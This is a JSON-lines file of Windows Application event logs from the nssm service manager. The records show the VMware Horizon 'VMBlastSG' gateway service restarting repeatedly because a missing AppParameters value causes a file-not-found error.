{"@timestamp":1646715521565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159453}}
{"@timestamp":1646715521565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153472","0"]}}},"module":"Application","provider":"nssm","sequence":159454}}
{"@timestamp":1646715521566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153472","153472","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159455}}
{"@timestamp":1646715521582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155124","0"]}}},"module":"Application","provider":"nssm","sequence":159456}}
{"@timestamp":1646715521583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155124","153472","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159457}}
{"@timestamp":1646715521633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159458}}
{"@timestamp":1646715521633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159459}}
{"@timestamp":1646715521633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159460}}
{"@timestamp":1646715521636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159461}}
{"@timestamp":1646715650136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159462}}
{"@timestamp":1646715650138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159463}}
{"@timestamp":1646715650139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156568","0"]}}},"module":"Application","provider":"nssm","sequence":159464}}
{"@timestamp":1646715650139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156568","156568","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159465}}
{"@timestamp":1646715650156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159466}}
{"@timestamp":1646715650157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159467}}
{"@timestamp":1646715650158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159468}}
{"@timestamp":1646715650158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159469}}
{"@timestamp":1646715778737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159470}}
{"@timestamp":1646715778738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159471}}
{"@timestamp":1646715778740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155340","0"]}}},"module":"Application","provider":"nssm","sequence":159472}}
{"@timestamp":1646715778740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155340","155340","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159473}}
{"@timestamp":1646715778757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159474}}
{"@timestamp":1646715778757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159475}}
{"@timestamp":1646715778758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159476}}
{"@timestamp":1646715778759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159477}}
{"@timestamp":1646715907244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159478}}
{"@timestamp":1646715907246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159479}}
{"@timestamp":1646715907246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153644","0"]}}},"module":"Application","provider":"nssm","sequence":159480}}
{"@timestamp":1646715907247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153644","153644","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159481}}
{"@timestamp":1646715907263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159482}}
{"@timestamp":1646715907264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159483}}
{"@timestamp":1646715907265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159484}}
{"@timestamp":1646715907266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159485}}
{"@timestamp":1646716035766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159486}}
{"@timestamp":1646716035767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159487}}
{"@timestamp":1646716035767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155228","0"]}}},"module":"Application","provider":"nssm","sequence":159488}}
{"@timestamp":1646716035768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155228","155228","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159489}}
{"@timestamp":1646716035783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159490}}
{"@timestamp":1646716035784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159491}}
{"@timestamp":1646716035784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159492}}
{"@timestamp":1646716035785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159493}}
{"@timestamp":1646716164305,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159494}}
{"@timestamp":1646716164307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159495}}
{"@timestamp":1646716164308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156036","0"]}}},"module":"Application","provider":"nssm","sequence":159496}}
{"@timestamp":1646716164308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156036","156036","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159497}}
{"@timestamp":1646716164324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159498}}
{"@timestamp":1646716164325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159499}}
{"@timestamp":1646716164325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159500}}
{"@timestamp":1646716164326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159501}}
{"@timestamp":1646716292878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159502}}
{"@timestamp":1646716292879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159503}}
{"@timestamp":1646716292879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156404","0"]}}},"module":"Application","provider":"nssm","sequence":159504}}
{"@timestamp":1646716292880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156404","156404","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159505}}
{"@timestamp":1646716292896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159506}}
{"@timestamp":1646716292897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159507}}
{"@timestamp":1646716292897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159508}}
{"@timestamp":1646716292898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159509}}
{"@timestamp":1646716421423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159510}}
{"@timestamp":1646716421424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159511}}
{"@timestamp":1646716421426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155888","0"]}}},"module":"Application","provider":"nssm","sequence":159512}}
{"@timestamp":1646716421427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155888","155888","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159513}}
{"@timestamp":1646716421443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159514}}
{"@timestamp":1646716421443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159515}}
{"@timestamp":1646716421444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159516}}
{"@timestamp":1646716421445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159517}}
{"@timestamp":1646716549954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159518}}
{"@timestamp":1646716549955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159519}}
{"@timestamp":1646716549955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154744","0"]}}},"module":"Application","provider":"nssm","sequence":159520}}
{"@timestamp":1646716549956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154744","154744","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159521}}
{"@timestamp":1646716549972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159522}}
{"@timestamp":1646716549973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159523}}
{"@timestamp":1646716549973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159524}}
{"@timestamp":1646716549974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159525}}
{"@timestamp":1646716678497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159526}}
{"@timestamp":1646716678499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159527}}
{"@timestamp":1646716678500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153848","0"]}}},"module":"Application","provider":"nssm","sequence":159528}}
{"@timestamp":1646716678500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153848","153848","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159529}}
{"@timestamp":1646716678517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159530}}
{"@timestamp":1646716678518,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159531}}
{"@timestamp":1646716678519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159532}}
{"@timestamp":1646716678519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159533}}
{"@timestamp":1646716807081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159534}}
{"@timestamp":1646716807082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159535}}
{"@timestamp":1646716807082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156228","0"]}}},"module":"Application","provider":"nssm","sequence":159536}}
{"@timestamp":1646716807083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156228","156228","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159537}}
{"@timestamp":1646716807098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159538}}
{"@timestamp":1646716807099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159539}}
{"@timestamp":1646716807099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159540}}
{"@timestamp":1646716807100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159541}}
{"@timestamp":1646716935676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159542}}
{"@timestamp":1646716935677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159543}}
{"@timestamp":1646716935678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156636","0"]}}},"module":"Application","provider":"nssm","sequence":159544}}
{"@timestamp":1646716935679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156636","156636","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159545}}
{"@timestamp":1646716935696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159546}}
{"@timestamp":1646716935696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159547}}
{"@timestamp":1646716935697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159548}}
{"@timestamp":1646716935697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159549}}
{"@timestamp":1646717064478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159550}}
{"@timestamp":1646717064479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159551}}
{"@timestamp":1646717064479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156396","0"]}}},"module":"Application","provider":"nssm","sequence":159552}}
{"@timestamp":1646717064480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156396","156396","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159553}}
{"@timestamp":1646717064496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156460","0"]}}},"module":"Application","provider":"nssm","sequence":159554}}
{"@timestamp":1646717064497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156460","156396","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159555}}
{"@timestamp":1646717064512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159556}}
{"@timestamp":1646717064513,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159557}}
{"@timestamp":1646717064513,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159558}}
